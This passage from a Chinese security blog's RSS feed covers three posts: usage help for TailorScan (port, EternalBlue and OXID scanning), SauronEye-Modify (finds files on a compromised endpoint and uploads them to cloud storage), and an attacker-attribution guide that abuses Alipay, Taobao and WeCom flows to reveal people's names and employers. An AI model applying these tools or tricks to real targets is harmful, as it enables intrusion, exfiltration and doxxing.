GB&#34;, 微软雅黑, monospace !important;">Usage</h4><section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"> &gt; TailorScan_windows_amd64.exe<br/>ServerScan for Port Scaner and Service Version Detection.<br/>HOST  Host to be scanned, supports four formats:<br/>                192.168.1.1<br/>                192.168.1.1-10<br/>                192.168.1.*<br/>                192.168.1.0/24<br/>PORT  Customize port list, separate with &#39;,&#39; example: 21,22,80-99,8000-8080 ...<br/>MODEL Scan Model: icmp or tcp<br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe portscan 192.168.0.1/24 80,8080 tcp</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe portscan 192.168.0.1/24 tcp</span><br/>EternalBlue scanner<br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe ms17010 -i 192.168.0.1</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe ms17010 -n 192.168.0.1/24</span><br/>OXID Find<br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe oxidfind -i 192.168.0.1</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe oxidfind -n 192.168.0.1/24</span><br/>ICMP check<br/><span style="font-size: inherit;line-height: inherit;color: rgb(255, 198, 109);overflow-wrap: inherit !important;word-break: inherit !important;">example: TailorScan.exe icmpcheck 192.168.0.1/24</span><br/></code></pre></section><h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"></h3><h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"></h3><h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">下载地址</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">来自社区，回馈社区。移步github或点击阅读原文进行下载，并自行upx压缩
<a href="https://github.com/uknowsec/TailorScan" target="_blank">https://github.com/uknowsec/TailorScan</a></p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">References<br/></h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/Adminisme/ServerScan" target="_blank">https://github.com/Adminisme/ServerScan</a></p><p><br/></p>



<p><a href="https://github.com/uknowsec/TailorScan">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a57f4cc9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484653%26idx%3D1%26sn%3D0816cd8a930110ab94c32c2d4b744eb4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 Nov 2020 17:24:00 +0800</pubDate>
    </item>
    <item>
      <title>SauronEye-Modify:快速查找目标终端文件并压缩打包上传oss</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484648&amp;idx=1&amp;sn=58d7a3dde84b3f3f37af5c5625a97252</link>
      <description>SauronEye-Modify:快速查找目标终端文件并压缩打包上传oss</description>
      <content:encoded><![CDATA[<p>
<span>Uknow</span> <span>2020-10-23 17:26</span> <span style="display: inline-block;"></span>
</p>

<p>SauronEye-Modify:快速查找目标终端文件并压缩打包上传oss</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d5b21002&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEveGw4YMIGyOnoOfZERrR3BACxdnrVKV5ScPJtNtYmIf9wD2z7A5UFgBnUOB7EKqRQOCkS4zKkIOxQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 28px;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"></h1><h2 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">SauronEye-Modify</h2><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);">在原项目基础上加上将找到的文件压缩打包上传oss,另外做了部分小修改。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);">加-o参数上传，默认不加-o，可cs进行内存加载。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">&gt; SauronEye.exe -h<br/>         === SauronEye Modify by Uknow  ===<br/>Usage: SauronEye.exe [OPTIONS]+ argument<br/>Search directories <span style="color: #c678dd;line-height: 26px;">for</span> files containing specific keywords.<br/>Options:<br/>  -d, --directories=VALUE    Directories to search<br/>  -f, --filetypes=VALUE      Filetypes to search <span style="color: #c678dd;line-height: 26px;">for</span>/<span style="color: #c678dd;line-height: 26px;">in</span><br/>  -k, --keywords=VALUE       Keywords to search <span style="color: #c678dd;line-height: 26px;">for</span><br/>  -o, --osskey=VALUE         aliyunOSS key<br/>                                format: bucketName:accessKeyId:accessKeySecret:<br/>                               endpoint<br/>  -c, --contents             Search file contents<br/>  -m, --maxfilesize=VALUE    Max file size to search contents <span style="color: #c678dd;line-height: 26px;">in</span>, <span style="color: #c678dd;line-height: 26px;">in</span> kilobytes<br/>  -b, --beforedate=VALUE     Filter files last modified before this date,<br/>                                format: yyyy-MM-dd<br/>  -a, --afterdate=VALUE      Filter files last modified after this date,<br/>                                format: yyyy-MM-dd<br/>  -s, --systemdirs           Search <span style="color: #c678dd;line-height: 26px;">in</span> filesystem directories %APPDATA% and %<br/>                               WINDOWS%<br/>  -v, --vbamacrocheck        Check <span style="color: #c678dd;line-height: 26px;">if</span> 2003 Office files (*.doc and *.xls)<br/>                               contain a VBA macro<br/>  -h, --<span style="color: #e6c07b;line-height: 26px;">help</span>                 Show <span style="color: #e6c07b;line-height: 26px;">help</span><br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span></h1><h2 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Usage</h2><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d44f51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEveGw4YMIGyOnoOfZERrR3BApRUGSLB2KVTWaFSEjL4LibI30jPsCNBtNfaO3xo99YA8Via5F8nOIgkw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-size: 16px;padding-right: 10px;padding-left: 10px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">另外具体参数用法，请参考原项目。</p><p><span style="color: rgb(248, 95, 72);font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace;font-size: 24px;font-weight: 700;letter-spacing: 0px;">G</span><span style="color: rgb(248, 95, 72);font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace;font-size: 24px;font-weight: 700;letter-spacing: 0px;">ithub</span><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/uknowsec/SauronEye-Modify" target="_blank">https://github.com/uknowsec/SauronEye-Modify</a></p><h2 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">References</h2><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/vivami/SauronEye" target="_blank">https://github.com/vivami/SauronEye</a></p><h2 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><br/></h2></section><p><br/></p>



<p><a href="2247484648">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4f0adff4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484648%26idx%3D1%26sn%3D58d7a3dde84b3f3f37af5c5625a97252%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 23 Oct 2020 17:26:00 +0800</pubDate>
    </item>
    <item>
      <title>某期间用到的溯源技巧</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484640&amp;idx=1&amp;sn=4d8b3eb0c72aebca7de27fc5d048b526</link>
      <description>前几周用到的溯源技巧。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Keefe</span> <span>2020-10-10 18:07</span> <span style="display: inline-block;"></span>
</p>

<p>前几周用到的溯源技巧。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b88c5665&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGkBcE0XdQDfgHj4cSLc2MG94g30qb9ibmzl26xhsPpvqA3s0OOMmDkeA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;background-image: linear-gradient(rgb(255, 255, 255) 60%, rgb(255, 177, 27) 40%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: rgb(81, 81, 81);padding: 2px 13px;margin-right: 3px;height: 50%;">0x00 前言</span></h2><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">HVV期间负责的有溯源这块的工作，整理一下用到的技巧。通常情况下，溯源需要获取到目标攻击者的一部分社会信息，比如手机号，邮箱，QQ号，微信号等，通过这些信息在互联网可以进一步追溯攻击者的更多暴露信息。方便进一步溯源。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">--Keefe</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;background-image: linear-gradient(rgb(255, 255, 255) 60%, rgb(255, 177, 27) 40%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: rgb(81, 81, 81);padding: 2px 13px;margin-right: 3px;height: 50%;">0x01 技巧</span></h2><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">没有外网高交互的探针蜜罐提供收集到的攻击者信息的话，如果只是单单知道一个域名、一个ip，以个人的力量其实很难针对性的去做溯源。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">不过还是有些办法可以应付一些工作，前提当然是拿到了一些信息的情况。</p><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">1.域名、ip反查目标个人信息</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">通过威胁情报平台确认攻击来路是否为威胁ip，常用的平台通常有</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);"><a href="https://ti.qianxin.com/" target="_blank">https://ti.qianxin.com/</a> 奇安信威胁情报中心</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);"><a href="https://x.threatbook.cn/" target="_blank">https://x.threatbook.cn/</a> 微步在线威胁情报社区</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">等。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">通常会用到这些思路：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">ip反查域名</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">域名查whois注册信息</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">域名查备案信息</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">域名反查邮箱</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">邮箱反查下属域名</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">域名反查注册人</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">注册人反查下属域名</section></li></ol><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">在这上面可以综合的查到ip或者域名的一些活动信息，或者whois信息，也可以单去查whois，只是需要去分辨下历史whois的信息，确认当前域名的所有者到底是不是同一个人。当然，现在部分域名商有隐藏whois的情况，这种暂时没思路。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">例：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.45217391304347826" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="1725" src="https://wechat2rss.xlab.app/img-proxy/?k=38ac4149&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGRTVQUMeIUy4KXZcN58WZ11WFf75udt1B195eiaJs1aukFeejNHh5XPg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">2.支付宝转账，确定目标姓氏</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">已知支付宝账号（手机号、邮箱），大额转账可验证姓氏，如果对的话，会提示成功，所以可以尝试多次。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="2.2830687830687832" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="378" src="https://wechat2rss.xlab.app/img-proxy/?k=495c8492&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGx0McTk1CSvCvNfEVnf52PH5UIYzZjNXClYFklksBiavTSPiaqJvuQJAA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="2.1569620253164556" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="395" src="https://wechat2rss.xlab.app/img-proxy/?k=2f322869&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGFgcu20w8wwDbf4LAzkttN3KNM0vib52lalYc1ycI17XPNSyicS2dXMCw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">3.淘宝找回密码，确定目标名字</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">已知淘宝账号（任意手机号、邮箱、用户名，其一即可），手机app找回密码处，验证方式选择拍摄脸部。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="2.1993127147766325" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="873" src="https://wechat2rss.xlab.app/img-proxy/?k=ba3f1b58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGKcb774KRun1MrBkzkpkG0ibxFl8R2au7ymvejvWKOIf2OibBws7iaib4ug%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">验证流程中即可获得目标的名字。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="2.250681198910082" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="367" src="https://wechat2rss.xlab.app/img-proxy/?k=0300baf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGuVGsKR6nIyribiaTvN12uRfgGjibkqfPJ2n9xjkwukKX57DgyjBsvpoPA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">4.企业微信手机号查公司名称</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">HVV中溯源报告需要指认目标到对应公司，这里很多企业都有企业微信，比如某友商。如果拿到目标的企业微信注册手机号，那么即可证明所属公司。这里有个技巧，估计是bug，会把所属企业显示出来：</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">第一步，微信增加朋友，选择企业微信联系人。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="1.952112676056338" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="355" src="https://wechat2rss.xlab.app/img-proxy/?k=aa53533f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGQg6J3sWAfiaLtWyQcGyLC5lvmL0xEibDCapNhZqB07DGkdQmyK7MlFdA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">第二步，点击增加到通讯录，然后先不动。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="1.566326530612245" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="392" src="https://wechat2rss.xlab.app/img-proxy/?k=633a8cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGot9NUrJvaSSz01OdAUZR18saiaPQvJQCicmcWLEy4nWNhvib9ibpOteBFA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">第三步，点击回退按钮。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="2.131443298969072" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="388" src="https://wechat2rss.xlab.app/img-proxy/?k=5175141d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGISHRR5f98CVlR6XwspkVxjfWLOz250aib1icicE1pCI3QKkLGCuIuwpbQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">第四步，然后他的所属企业就显示出来了。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="1.917312661498708" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="387" src="https://wechat2rss.xlab.app/img-proxy/?k=94a9d223&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGn5QfFVYqHRCG4vuxSUL6Ap1CA5kElwqq1jKlEprgqibo9cIGGx85QKQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">5.REG007查注册应用、网站</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);"><a href="https://www.reg007.com/" target="_blank">https://www.reg007.com/</a></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.324298160696999" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;display: block;margin-bottom: 15px;" data-type="png" data-w="1033" 